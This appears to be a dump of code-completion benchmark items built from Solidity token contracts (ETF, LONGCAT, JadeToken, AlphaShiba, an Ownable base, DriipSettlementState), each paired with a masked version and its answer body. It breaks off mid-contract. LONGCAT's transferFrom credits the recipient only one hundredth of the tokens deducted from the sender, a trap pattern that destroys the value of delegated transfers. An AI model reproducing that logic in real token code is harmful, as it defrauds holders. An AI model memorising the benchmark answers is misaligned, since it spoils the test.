_totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) public returns (bool success) { require(to != address(0)); require(tokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) public returns (bool success) { require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Get the airdrop token balance for account `tokenOwner` // ------------------------------------------------------------------------ function getBalance(address _address) internal returns (uint256) { if (_airdropTotal < _airdropSupply && !initialized[_address]) { return balances[_address] + _airdropAmount; } else { return balances[_address]; } } // ------------------------------------------------------------------------ // internal private functions // ------------------------------------------------------------------------ function distr(address _to, uint256 _amount) canDistr private returns (bool) { _airdropTotal = _airdropTotal.add(_amount); _totalRemaining = _totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); if (_airdropTotal >= _airdropSupply) { distributionFinished = true; } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist valueAccepted public { if (_airdropAmount > _totalRemaining) { _airdropAmount = _totalRemaining; } require(_totalRemaining <= _totalRemaining); distr(msg.sender, _airdropAmount); if (_airdropAmount > 0) { blacklist[msg.sender] = true; } if (_airdropTotal >= _airdropSupply) { distributionFinished = true; } uint256 etherBalance = this.balance; if (etherBalance > 0) { owner.transfer(etherBalance); } } }
contract ETF is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } modifier valueAccepted() { require(msg.value%(1*10**16)==0); _; } // ------------------------------------------------------------------------ // airdrop params // ------------------------------------------------------------------------ uint256 public _airdropAmount; uint256 public _airdropTotal; uint256 public _airdropSupply; uint256 public _totalRemaining; mapping(address => bool) initialized; bool public distributionFinished = false; mapping (address => bool) public blacklist; event Distr(address indexed to, uint256 amount); event DistrFinished(); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "ETF"; name = "Exchange Traded Fund"; decimals = 18; _totalSupply = 1000000000 * 10 ** uint256(decimals); _airdropAmount = 8000 * 10 ** uint256(decimals); _airdropSupply = 300000000 * 10 ** uint256(decimals); _totalRemaining = _airdropSupply; balances[owner] = _totalSupply.sub(_airdropSupply); emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) public returns (bool success) { require(to != address(0)); require(tokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) public returns (bool success) { require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Get the airdrop token balance for account `tokenOwner` // ------------------------------------------------------------------------ function getBalance(address _address) internal returns (uint256) { if (_airdropTotal < _airdropSupply && !initialized[_address]) { return balances[_address] + _airdropAmount; } else { return balances[_address]; } } // ------------------------------------------------------------------------ // internal private functions // ------------------------------------------------------------------------ function distr(address _to, uint256 _amount) canDistr private returns (bool) { _airdropTotal = _airdropTotal.add(_amount); _totalRemaining = _totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); if (_airdropTotal >= _airdropSupply) { distributionFinished = true; } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist valueAccepted public { if (_airdropAmount > _totalRemaining) { _airdropAmount = _totalRemaining; } require(_totalRemaining <= _totalRemaining); distr(msg.sender, _airdropAmount); if (_airdropAmount > 0) { blacklist[msg.sender] = true; } if (_airdropTotal >= _airdropSupply) { distributionFinished = true; } uint256 etherBalance = this.balance; if (etherBalance > 0) { owner.transfer(etherBalance); } } }
return ERC20Interface(tokenAddress).transfer(owner, tokens);
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
86740
LONGCAT
null
contract LONGCAT is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens/100); emit Transfer(from, to, tokens); return true; } }
contract LONGCAT is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens/100); emit Transfer(from, to, tokens); return true; } }
name = "LONGCAT(https://meme-poggers.com)"; symbol = "LONGC"; decimals = 18; _totalSupply = 10000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply);
constructor() public
constructor() public
75053
JadeToken
JadeToken
contract JadeToken is PausableToken { string public name = "JT2019092601"; string public symbol = "JT2019092601"; uint public decimals = 18; uint public INITIAL_SUPPLY = 141243000000000000000000; function JadeToken() public {<FILL_FUNCTION_BODY> } }
contract JadeToken is PausableToken { string public name = "JT2019092601"; string public symbol = "JT2019092601"; uint public decimals = 18; uint public INITIAL_SUPPLY = 141243000000000000000000; <FILL_FUNCTION> }
totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY;
function JadeToken() public
function JadeToken() public
58063
Ownable
transferOwnership
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
function transferOwnership(address newOwner) public virtual onlyOwner
39113
AlphaShiba
null
contract AlphaShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Alpha Shiba'; string private _symbol = 'AlShib'; uint8 private _decimals = 9; constructor () public {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract AlphaShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Alpha Shiba'; string private _symbol = 'AlShib'; uint8 private _decimals = 9; <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal);
constructor () public
constructor () public
49387
DriipSettlementState
completeSettlementParty
contract DriipSettlementState is Ownable, Servable, CommunityVotable { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; // // Constants // ----------------------------------------------------------------------------------------------------------------- string constant public INIT_SETTLEMENT_ACTION = "init_settlement"; string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done"; string constant public SET_MAX_NONCE_ACTION = "set_max_nonce"; string constant public SET_FEE_TOTAL_ACTION = "set_fee_total"; // // Variables // ----------------------------------------------------------------------------------------------------------------- uint256 public maxDriipNonce; DriipSettlementTypesLib.Settlement[] public settlements; mapping(address => uint256[]) public walletSettlementIndices; mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex; mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce; mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap; bool public upgradesFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement); event CompleteSettlementPartyEvent(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done, uint256 doneBlockNumber); event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency, uint256 maxNonce); event SetMaxDriipNonceEvent(uint256 maxDriipNonce); event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce); event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee); event FreezeUpgradesEvent(); event UpgradeSettlementEvent(DriipSettlementTypesLib.Settlement settlement); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the count of settlements function settlementsCount() public view returns (uint256) { return settlements.length; } /// @notice Get the count of settlements for given wallet /// @param wallet The address for which to return settlement count /// @return count of settlements for the provided wallet function settlementsCountByWallet(address wallet) public view returns (uint256) { return walletSettlementIndices[wallet].length; } /// @notice Get settlement of given wallet and index /// @param wallet The address for which to return settlement /// @param index The wallet's settlement index /// @return settlement for the provided wallet and index function settlementByWalletAndIndex(address wallet, uint256 index) public view returns (DriipSettlementTypesLib.Settlement memory) { require(walletSettlementIndices[wallet].length > index, "Index out of bounds [DriipSettlementState.sol:107]"); return settlements[walletSettlementIndices[wallet][index] - 1]; } /// @notice Get settlement of given wallet and wallet nonce /// @param wallet The address for which to return settlement /// @param nonce The wallet's nonce /// @return settlement for the provided wallet and index function settlementByWalletAndNonce(address wallet, uint256 nonce) public view returns (DriipSettlementTypesLib.Settlement memory) { require(0 != walletNonceSettlementIndex[wallet][nonce], "No settlement found for 